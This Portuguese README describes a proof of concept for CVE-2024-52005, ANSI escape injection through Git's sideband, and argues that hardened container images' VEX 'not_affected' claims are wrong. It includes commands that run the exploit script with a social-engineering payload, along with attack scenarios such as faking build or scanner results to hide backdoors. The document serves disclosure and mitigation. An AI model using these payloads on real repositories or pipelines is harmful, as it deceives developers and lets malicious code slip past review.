
Prova de conceito para CVE-2024-52005: injeção de sequência de escape ANSI no Git. Demonstra alegações VEX incorretas de 'not_affected' em imagens de contêineres endurecidas.
Este repositório contém uma Prova de Conceito (PoC) que demonstra a CVE-2024-52005, uma vulnerabilidade no Git que permite a injeção de sequências de escape ANSI através do canal sideband durante operações do Git.
CVE-2024-52005 é uma vulnerabilidade de alta gravidade (CVSS 7.5) que afeta as versões do Git anteriores a 2.48.1, 2.47.3, 2.46.5, 2.45.4 e 2.44.3.
Esta PoC foi criada para demonstrar que determinadas imagens de contêineres endurecidas afirmam incorretamente o status "not_affected" em seus documentos VEX (Vulnerability Exploitability eXchange), apesar de distribuírem versões vulneráveis do Git.
A vulnerabilidade permite que atacantes:
Teste diretamente contra o contêiner DHI ArgoCD usando este repositório do GitHub:
docker run --rm -it dhi.io/argocd:3 sh -c '
git clone https://github.com/andrewd-cg/cve-2024-52005-poc.git /tmp/poc &&
cd /tmp/poc &&
sh docker-test.sh
'
Este comando:
Se você vir ^[[31m ou ^[[32m na saída, a vulnerabilidade é confirmada.
Clone o repositório e execute o teste localmente:
git clone https://github.com/andrewd-cg/cve-2024-52005-poc.git
cd cve-2024-52005-poc
./test_ansi_injection.sh
Este script vai:
# Create malicious repository with social engineering payload
./exploit_cve_2024_52005.py create social_engineering
# Test against vulnerable container
./exploit_cve_2024_52005.py test
# View results
cat -v /tmp/cve-2024-52005-output.log
Attacker creates public GitHub repo → ArgoCD clones it automatically →
Git hook injects ANSI codes → Hides backdoor in deployment logs
Developer clones repo → Malicious hook runs → Injects fake "Build PASSED" →
Real failures hidden → Vulnerable code deployed to production
Security scanner clones repo → Hook injects ANSI codes →
Shows "0 vulnerabilities" → Real vulnerabilities hidden →
Malicious code passes review
O framework inclui 8 payloads de ataque pré-construídos:
Muitas imagens de contêineres afirmam "not_affected" para a CVE-2024-52005 com a justificativa:
{
"justification": "vulnerable_code_cannot_be_controlled_by_adversary"
}
Isso está incorreto para contêineres projetados para clonar repositórios não confiáveis:
O atacante controla de fato o caminho de código vulnerável por meio de hooks do Git e mensagens sideband.
Versões do Git afetadas pela CVE-2024-52005:
Atualize para uma versão corrigida:
# Check your version
git --version
# Update via package manager
apt update && apt upgrade git # Debian/Ubuntu
brew upgrade git # macOS
Se você não puder atualizar imediatamente:
# Test any container image
docker run --rm -v $(pwd)/ansi-test-repo:/repo:ro YOUR_IMAGE:TAG \
sh -c 'git clone /repo /tmp/test 2>&1' | cat -v
# Look for ANSI codes like ^[[31m in the output
Esta PoC foi criada para:
Somente para testes de segurança autorizados. Não use isso contra sistemas que você não possui ou para os quais não tem permissão de teste.
Licença MIT - Consulte o arquivo LICENSE para obter detalhes
Criado como parte de pesquisa sobre segurança de imagens de contêineres, demonstrando a importância da divulgação e avaliação precisas de vulnerabilidades.
Encontrou um problema ou tem melhorias? Pull requests são bem-vindos!